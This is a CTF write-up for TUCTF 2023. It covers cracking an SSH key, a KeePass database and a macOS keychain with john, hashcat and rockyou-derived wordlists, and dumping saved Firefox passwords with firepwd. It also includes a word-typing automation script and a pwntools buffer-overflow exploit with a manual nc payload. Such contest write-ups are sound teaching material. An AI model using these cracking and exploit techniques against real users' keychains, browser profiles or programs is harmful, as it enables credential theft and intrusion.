TUCTF - 2023

This is a write up for some of the challenges I was able to complete on TUCTF 2023

A.R.K 1 - Misc

The challenge gave us a private ssh key and told use to use only words containing sheep. I thought I had to connect somewhere with it at the beggining, then realised it was just a cracking challenge, as the rest of the A.R.K challenges.

Create custom wordllist:

grep sheep /usr/share/wordlists/rockyou.txt > custom

Crack it with ssh2john and john the ripper:

ssh2john sheep > hash
john hash -w:custom

sheep:baabaablacksheep

Flag was the password between TUCTF{}

A.R.K 2 - MISC

Another cracking challenge, this time we were given a KDBX file

❯ file woof
woof: Keepass password database 2.x KDBX

Create the custom wordlist containing word "dog"

grep dog /usr/share/wordlists/rockyou.txt > custom

Crack it with keepass2john and Jhon The ripper

keepass2john woof > hash
john hash -w:custom

woof:wholetthedogsout

Open with keepass

Flag was on recycle bin but it had been changed

We just had to restore the history

A.R.K 3 - MISC

Another cracking challenge, this time a MAC OS X Keychain file

❯ file meow
meow: Mac OS X Keychain File

Create custom wordlist:

grep meow /usr/share/wordlists/rockyou.txt > custom

I used Chainbreaker tool to dump the hash of the file https://github.com/n0fate/chainbreaker

❯ chainbreaker -a meow
2023-12-03 14:06:35,125 - INFO - Version - 3.0.3
2023-12-03 14:06:35,125 - INFO - Chainbreaker : https://github.com/n0fate/chainbreaker
2023-12-03 14:06:35,126 - INFO - Version: 3.0.3
2023-12-03 14:06:35,126 - INFO - Runtime Command: /usr/local/bin/chainbreaker -a meow
2023-12-03 14:06:35,126 - INFO - Keychain: meow
2023-12-03 14:06:35,126 - INFO - Keychain MD5: c0bbdc431e82ceb82c6c62ae4571a52a
2023-12-03 14:06:35,126 - INFO - Keychain 256: 0653458b0fc08b21b1cbd91c8434320edc0063efbaea221d0723c1e75df927b3
2023-12-03 14:06:35,126 - INFO - Dump Start: 2023-12-03 14:06:35.125963
2023-12-03 14:06:35,128 - WARNING - [!] Certificate Table is not available
2023-12-03 14:06:35,128 - INFO - 1 Keychain Password Hash
2023-12-03 14:06:35,128 - INFO - 	$keychain$*b'9196324d59f13ef6b20331e2e6d81da8993a02db'*b'34d065407b48d418'*b'976cb9617ec4e656d7fdbb097c525c9fc7502908aab1dc9aefbf40b24368ee8e78af756e91cc960a65d90f9be62e4240'

Just had to remove the " 'b' " to leave it in a valid format to crack it with hashcat:

hashcat -m 23100 hash custom

password: coolcatmeow

And just dump the content of the flag with that password

❯ chainbreaker --dump-generic-passwords meow --password coolcatmeow
2023-12-03 14:08:49,894 - INFO - Version - 3.0.3
2023-12-03 14:08:49,894 - INFO - Chainbreaker : https://github.com/n0fate/chainbreaker
2023-12-03 14:08:49,894 - INFO - Version: 3.0.3
2023-12-03 14:08:49,894 - INFO - Runtime Command: /usr/local/bin/chainbreaker --dump-generic-passwords meow --password coolcatmeow
2023-12-03 14:08:49,894 - INFO - Keychain: meow
2023-12-03 14:08:49,894 - INFO - Keychain MD5: c0bbdc431e82ceb82c6c62ae4571a52a
2023-12-03 14:08:49,894 - INFO - Keychain 256: 0653458b0fc08b21b1cbd91c8434320edc0063efbaea221d0723c1e75df927b3
2023-12-03 14:08:49,895 - INFO - Dump Start: 2023-12-03 14:08:49.894666
2023-12-03 14:08:49,898 - INFO - 1 Generic Passwords
2023-12-03 14:08:49,899 - INFO - 	[+] Generic Password Record
2023-12-03 14:08:49,899 - INFO - 	[-] Create DateTime: 2023-11-27 22:43:23
2023-12-03 14:08:49,899 - INFO - 	[-] Last Modified DateTime: 2023-11-27 22:43:23
2023-12-03 14:08:49,899 - INFO - 	[-] Description: 
2023-12-03 14:08:49,899 - INFO - 	[-] Creator: 
2023-12-03 14:08:49,899 - INFO - 	[-] Type: 
2023-12-03 14:08:49,899 - INFO - 	[-] Print Name: b'flag'
2023-12-03 14:08:49,899 - INFO - 	[-] Alias: 
2023-12-03 14:08:49,900 - INFO - 	[-] Account: b'flag'
2023-12-03 14:08:49,901 - INFO - 	[-] Service: b'flag'
2023-12-03 14:08:49,901 - INFO - 	[-] Password: TUCTF{k3YCh41ns_AR3_sUp3r_c00L}
2023-12-03 14:08:49,901 - INFO - 	
2023-12-03 14:08:49,901 - INFO - 
2023-12-03 14:08:49,901 - INFO - Chainbreaker : https://github.com/n0fate/chainbreaker
2023-12-03 14:08:49,901 - INFO - Version: 3.0.3
2023-12-03 14:08:49,901 - INFO - Runtime Command: /usr/local/bin/chainbreaker --dump-generic-passwords meow --password coolcatmeow
2023-12-03 14:08:49,901 - INFO - Keychain: meow
2023-12-03 14:08:49,901 - INFO - Keychain MD5: c0bbdc431e82ceb82c6c62ae4571a52a
2023-12-03 14:08:49,901 - INFO - Keychain 256: 0653458b0fc08b21b1cbd91c8434320edc0063efbaea221d0723c1e75df927b3
2023-12-03 14:08:49,901 - INFO - Dump Start: 2023-12-03 14:08:49.894666
2023-12-03 14:08:49,901 - INFO - 	1 Generic Passwords
2023-12-03 14:08:49,902 - INFO - Dump End: 2023-12-03 14:08:49.901448

A.R.K 4 - MISC

Last cracking Challenge, this time we are given a zip file with some mozilla firefox files

Just by running the tool firepwd in that directory we got the flag https://github.com/lclevy/firepwd

Firepwd is a tool to join key4.db and logins.json and give the saved passwords of the browser back

❯ python3 ~/Tools/firepwd/firepwd.py
globalSalt: b'2fc652a7ce01e8e33e32305be27942bc9a4b5707'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'8801df68ef2dc63819abeccfa48f18087a1ec29dbe37b94338690eacdf1b08ec'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'ee5b8b61626485e1c953dc612deb'
       }
     }
   }
   OCTETSTRING b'9c4ea18bdaa31238d08a5bbdc8a5b2e9'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'b4f5dfad6b6f3a55681de13a603d6770877b976d22781aeab74223e0c3868f01'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'54540da34420dbd2de53b1dac951'
       }
     }
   }
   OCTETSTRING b'4b7e09bce487b8b3f05dece6a269dc20a95248de9f1eb3c68a26de9bfeb2dd3a'
 }
clearText b'15a2911c5807e66419f40ddf517a576d6d407643e0f20ecb0808080808080808'
decrypting login/password pairs
https://www.example.com:b'fox',b'TUCTF{B3w4R3_7h3_f1r3_4nd_7h3_f0x}'

Hacker Typer - Scripting

In hacker typer you just had to type the word on screen fast enough 150 times

I just created a custom script to do a get request with python and then post it to the web application until it reached 150 streak

import requests
from pwn import *

get_url = 'https://hacker-typer.tuctf.com/'
post_url = 'https://hacker-typer.tuctf.com/check_word'

s = requests.Session()
p1 = log.progress("Typing words: ")
while True:
    r = s.get(get_url)
    for x in str(r.text).split('\n'):
        if '<p>Type the word: <strong name="word-title">' in x:
            word = x[52:70].split('<')[0]
            data = {'word': word}
            p = s.post(post_url, data=data)
            p1.status(str(p.text))
            if 'TUCTF' in str(p.text):
                flag = str(p.text).split('You\'re fast!')[1].split("\"")[0]
                print('FLAG FOUND = '+ flag)
                exit()
            break

Hidden Value - PWN

Hidden value was a challenge in which we needed to buffer overlfow to overwrite a variable that was being compared with 0xdeadbeef in order to spit out the flag

Script with pwntools:

from pwn import *

# Start program
io = process('./hidden-value')
#io = remote('chal.tuctf.com', 30011)

# debug
context.log_level = 'debug'
buffer = 44
# Send string to overflow buffer
io.sendlineafter(b': ', b'A' * buffer + p64(0xdeadbeef)) 

# After recieving the question mark, we are sending the A's and packing 0xdeadbeef as a 64 bit address

# Receive output
print(io.recvall().decode())

# Receive the flag
io.interactive()

## manually

#python2 -c 'print 44 * "A" + "\xef\xbe\xad\xde"' > payload
#nc chal.tuctf.com 30011 < payload

PreviousGuess the password (Rev) - SquareCTF2023 NextHackappatoi CTF 2023

Last updated 1 year ago